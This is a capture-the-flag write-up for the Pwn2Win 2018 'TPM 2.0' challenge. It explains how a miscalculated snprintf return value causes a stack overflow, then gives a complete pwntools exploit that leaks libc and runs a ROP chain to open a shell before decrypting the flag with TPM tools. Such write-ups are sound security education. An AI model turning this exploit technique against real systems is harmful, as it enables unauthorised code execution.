Pwn2Win 2018 - TPM 2.0

Writeup for challenge “TPM 2.0” of Pwn2Win CTF 2018.

At last year’s Pwn2Win, we (spritzers) were the only team to solve the SGX challenge. We played again this year, getting 6th place. There was another trusted computing challenge (pwn), on TPM 2.0 this time: we kept up the tradition and were the only team to solve it. So here’s a writeup, enjoy :)

Wilson created this application in a trusted platform. The thing is though, he encrypted the flag but lost the private key :(

Server: nc 10.133.70.5 4500

This was an isolated challenge: you had to solve six challenges to get VPN access to the box. You can grab the challenge files here.

Overview

Checksec shows partial RELRO, stack canaries, NX, no PIE. When connecting to the server, we are greeted with a menu:

Welcome to my trusted platform. Tell me what do you want:

[1] List PCRs
[2] Get encrypted flag
[3] Get public portion
[4] Get private portion
[5] Bye
>

Option 1 allows to read TPM PCRs (more on this in a bit). Option 2 shows a hex dump of /home/wilson/flag.txt.enc (encrypted flag). Option 3 shows a hex dump of /home/wilson/rsa_pubkey (public key). Option 4 tries to show a hex dump of /home/wilson/rsa_privkey, but the file doesn’t exist. Option 5 exits.

Let’s have a look at the public key:

00000000: 0116 0001 000b 0006 0072 0000 0010 0010  .........r......
00000010: 0800 0000 0000 0100 f1bf aaa3 0000 6bd4  ..............k.
00000020: aa7a a7ac 6d4c c84c 87e9 18f0 a306 464c  .z..mL.L......FL
00000030: 06d5 98f8 ac12 96d7 e924 e19a 8040 ee6d  [email protected]
00000040: 5e9e 6b32 6142 d02b 688a 6c6a cea0 4ec8  ^.k2aB.+h.lj..N.
00000050: f4b4 979f d438 29fc 92f3 6974 b4c8 9059  .....8)...it...Y
00000060: 5956 a47d 850a 5f42 1e01 6457 d1ae 2fad  YV.}.._B..dW../.
00000070: a2a4 8882 82a9 2fc8 9970 7ba8 9e0b 125d  ....../..p{....]
00000080: 3d8a 44b6 0154 70d8 e567 dada 19a1 8dbf  =.D..Tp..g......
00000090: 398e be97 380e 1e01 63ea 698f f20b a74d  9...8...c.i....M
000000a0: d6d1 920c ca38 0ca9 ebe1 6909 77f5 b132  .....8....i.w..2
000000b0: 4339 8661 18a2 4a72 e5b0 1bf6 549a 4dd9  C9.a..Jr....T.M.
000000c0: 0797 fcec 5de4 8c6e 4a95 1957 ccd3 ef35  ....]..nJ..W...5
000000d0: cbde 03a0 f958 e189 5a46 f1c3 4ef8 579c  .....X..ZF..N.W.
000000e0: 5e39 1669 53e5 9d83 718b 4a47 f4b5 5eec  ^9.iS...q.JG..^.
000000f0: e13c b872 ffeb a955 660d 490d a9ed 33a0  .<.r...Uf.I...3.
00000100: 273b f478 504a 25fb a1b5 63f1 dc7d 25c3  ';.xPJ%...c..}%.
00000110: f62f 7c9d 44c5 9ee3                      ./|.D...

This is a TPM 2.0 2048-bit RSA public key (you might want to check tss2_tpm2_types.h). The TPM can store crypto keys and perform encryption/decryption with them. Since the public key is in TPM format, my guess was that the TPM held the private key for decrypting the flag.

Let’s get back to option 1. It asks for a comma-separated list of Platform Configuration Register (PCR) numbers, from 0 to 23, and outputs the requested PCRs. Essentially, the PCRs are registers that can only be extended with a measurement m, i.e., updated as R \gets H(R \| m), where R is the PCR content and H is a hash function. For example, this is used to ensure integrity of a boot chain: each stage extends PCR 0 with the next stage’s hash, and since PCRs cannot be directly set but only extended, tampering with the chain will inevitably result in a different final hash.

However, being able to read PCRs doesn’t really help us with recovering the RSA key: they’re just hash chains of measurements. So I started looking for other vulnerabilities.

The bug

This is the decompiled (and cleaned up) code for option 1:

// @ 0x400bf0
void list_pcrs(ESYS_CONTEXT *esys_ctx)
{
  uint32_t pcrUpdateCounter; // [rsp+1Ch] [rbp-A04h]
  int size; // [rsp+20h] [rbp-A00h]
  int i; // [rsp+24h] [rbp-9FCh]
  int pcr; // [rsp+28h] [rbp-9F8h]
  TPML_PCR_SELECTION *pcrSelectionOut; // [rsp+30h] [rbp-9F0h]
  TPML_DIGEST *pcrValues; // [rsp+38h] [rbp-9E8h]
  char *tok; // [rsp+40h] [rbp-9E0h]
  ssize_t num; // [rsp+48h] [rbp-9D8h]
  TPML_PCR_SELECTION pcrSelectionIn; // [rsp+50h] [rbp-9D0h]
  char hex[41]; // [rsp+E0h] [rbp-940h]
  char input[256]; // [rsp+110h] [rbp-910h]
  char buf[2048]; // [rsp+210h] [rbp-810h]

  memset(buf, 0, sizeof(buf));
  size = 0;

  puts("Which PCRs do you wanna read?");
  num = read(0, input, sizeof(input));
  input[num - 1] = 0;

  memset(&pcrSelectionIn, 0, sizeof(pcrSelectionIn));
  pcrSelectionIn.count = 2;
  pcrSelectionIn.pcrSelections[0].hash = TPM2_ALG_SHA1;
  pcrSelectionIn.pcrSelections[0].sizeofSelect = 3;
  pcrSelectionIn.pcrSelections[1].hash = TPM2_ALG_SHA256;
  pcrSelectionIn.pcrSelections[1].sizeofSelect = 3;

  for (tok = strtok(input, ","); tok; tok = strtok(NULL, ",")) {
    pcr = atoi(tok);

    if (pcr >= 0 && pcr <= 23) {
      pcrSelectionIn.pcrSelections[0].pcrSelect[pcr / 8] |= 1 << (pcr % 8);
      Esys_PCR_Read(esys_ctx, ESYS_TR_NONE, ESYS_TR_NONE, ESYS_TR_NONE,
        &pcrSelectionIn, &pcrUpdateCounter, &pcrSelectionOut, &pcrValues);

      hexdump(pcrValues->digests[0].buffer, 20, hex, 41);
      size += snprintf(&buf[size], sizeof(buf) - size,
        "PCR %s: %s\n", tok, hex);

      pcrSelectionIn.pcrSelections[0].pcrSelect[0] = 0;
      pcrSelectionIn.pcrSelections[0].pcrSelect[1] = 0;
      pcrSelectionIn.pcrSelections[0].pcrSelect[2] = 0;
    }
  }

  for (i = 0; i < size; i++) {
    if (buf[i] == '%')
      buf[i] = 0;
  }
  printf(buf);
}

You can find the library that’s being used at tpm2-tss.

The code reads up to 255 (+ NUL) bytes from the user. It splits the input on commas and, for each token, it converts the token to a number, and if it’s a valid PCR number (0 to 23) it reads the SHA1 hash of that PCR. Then, it appends a line of output to buf using snprintf. The line includes the token itself (not the number as %d, this is important) and the PCR hash (40 hex digits). At the end, there’s something strange: all % characters in buf are replaced with NULs, and finally buf is printed by passing it directly to printf.

Since the output includes the token itself, and atoi will happily return zero (valid PCR number) when called on something that is not a number, the last printf would cause a format string vulnerability if it wasn’t for that loop. We might be hitting on something, let’s keep digging.

The programmer is trying to avoid overflowing buf by using size += snprintf(&buf[size], sizeof(buf) - size, ...). This relies on the assumption that snprintf returns the number of bytes actually written to the buffer. However, snprintf returns the number of bytes that would have been written to the buffer if there was enough space. This mistake actually happens in the real world (author was inspired by CVE-2018-1000140). Imagine we do N reads, such that the output for N-2 reads fits in the buffer, but the output for N-1 reads doesn’t. The read N-1 will be truncated, but size will be updated as if it was written in full. Now size is larger than sizeof(buf). Since snprintf takes its second argument as a size_t (unsigned), sizeof(buf) - size becomes a very large number, and read N will overflow buf.

Popping a shell

At this point, we have a vulnerability that can lead to remote code execution. We still don’t have a plan to decrypt the flag, but let’s get a shell and see what we can find.

We want to do ROP through the snprintf vulnerability. A 64-bit ROP chain is bound to have NUL bytes, which would terminate the input. However, the sanitization loop before printf helps us: we can replace all NUL bytes with %, and the loop will transform them back into NULs.

There’s a stack canary at buf+0x808, which we want to keep intact, and the return address is at buf+0x818. The buffer is 2048 bytes. Each PCR produces 47 bytes of output plus the length of the number token. Note that strtok ignores empty tokens. After fiddling for a bit, I got the following setup:

  • 42 reads for PCR 0: 48 bytes of output each, for a total of 2016 bytes (still within the buffer).
  • 1 read for PCR AAAA: atoi("AAAA") == 0, 51 bytes of output, size becomes 0x813 (past the canary, 5 bytes from return address).
  • 1 read for PCR A<chain>: atoi("A...") == 0, the PCR A prefix of the output is exactly 5 bytes, so <chain> will overwrite the return address.

I used a pretty standard two-stage ROP. The first stage uses the puts PLT to leak a libc address from the GOT, then returns to main again. Now that the libc base is known, I perform the overflow again for a second stage which calls system("sh").

Decrypting the flag

Now that I had a shell, I noticed a couple of things:

  • The TPM 2.0 tools were installed.
  • There was a file named context in /home/wilson/.

The TPM 2.0 tools can be used to perform various operations, such as creating keys and encrypting/decrypting data. When creating a key, the tools produce a context file which can then be used to encrypt/decrypt with that key. Most likely, that context in the home directory will allow us to decrypt the flag. A quick look at this cheatsheet, and we’re done:

$ tpm2_rsadecrypt -c context -I flag.txt.enc -o /tmp/flag.txt
$ cat /tmp/flag.txt
CTF-BR{TPM2.0_tools_4_easy_decryption_}

Notes on running the binary

You probably want to run the binary for debugging. It needs the TPM 2.0 libraries to work. In my case, they were available in the Fedora 29 repos (I’m still on fc28, but I just copied the files from the fc29 RPM). However, I did not have TPM 2.0 hardware. One solution is to use an emulator, but I went with a more quick & dirty option. The program does not actually need a TPM to be exploitable: listing PCRs is useless to us. I patched the call to Esys_Initialize in main with xor eax, eax, so the program thinks it succeeded. Then, I replaced the call to Esys_PCR_Read in list_pcrs with mov [rbp-0x9e8], 0x602100, which makes pcrValues point to memory filled with zeroes. Any PCR will now read as zero, but there are no calls to TPM functions and it is equivalent as far as exploitation is concerned.

Exploit code

#!/usr/bin/env python2

from pwn import *

context(os='linux', arch='x86_64')

tpm20 = ELF('./tpm20')
libc = ELF('./libc.so.6')

#p = process(argv=['/home/andrea/ld-2.23.so', '--library-path', './lib', './tpm20_patch'])
p = remote('10.133.70.5', 4500)

def pcrs_ret(data):
    assert ',' not in data
    data_sane = data.replace('\x00', '%')

    # Each PCR outputs 47 + len(tok) bytes
    # Buffer size = 2048
    # Canary @ buffer+0x808
    # Retaddr @ buffer+0x818
    # '0' 42 times -> size = 0x7e0 < 2048
    # 'A'*4 (= 0) -> size = 0x813 > 2048
    # Next print is "PCR <num>: ..."
    # <num> is at buffer+0x817 -> retaddr-1
    # We prefix with A in order to:
    #   - make atoi return 0 (valid PCR)
    #   - get to retaddr
    return ['0']*42 + ['A'*4, 'A' + data_sane]

def menu(choice):
    p.recvuntil('> ')
    p.sendline(str(choice))

def list_pcrs(pcrs, final=False):
    pcrs_str = ','.join(pcrs)
    assert len(pcrs_str) <= 255

    menu(1)
    p.recvuntil('Which PCRs do you wanna read?\n')
    p.send(pcrs_str.ljust(256, '\x00'))

    if not final:
        output = p.recvuntil('\nWelcome')[:-len('\nWelcome')]
        return output

def do_rop(chain, *args, **kwargs):
    return list_pcrs(pcrs_ret(chain), *args, **kwargs)

MAIN = 0x401011
POP_RDI = 0x401153

prog = log.progress('Leaking libc')
buf  = p64(POP_RDI)
buf += p64(tpm20.got['read'])
buf += p64(tpm20.plt['puts'])
buf += p64(MAIN)
leak = do_rop(buf)[-7:-1]
libc_base = u64(leak + '\x00\x00') - libc.symbols['read']
prog.success('@ 0x{:012x}'.format(libc_base))

prog = log.progress('Popping shell')
buf  = p64(POP_RDI)
buf += p64(libc_base + libc.search('sh\x00').next())
buf += p64(libc_base + libc.symbols['system'])
buf += p64(MAIN)
do_rop(buf, final=True)
p.recvuntil('AAAA: ')
p.recvn(21)
prog.success()

p.interactive()

# $ tpm2_rsadecrypt -c context -I flag.txt.enc -o /tmp/flag.txt
# $ cat /tmp/flag.txt
# CTF-BR{TPM2.0_tools_4_easy_decryption_}

© 2018. All rights reserved.

Powered by Hydejack v7.5.1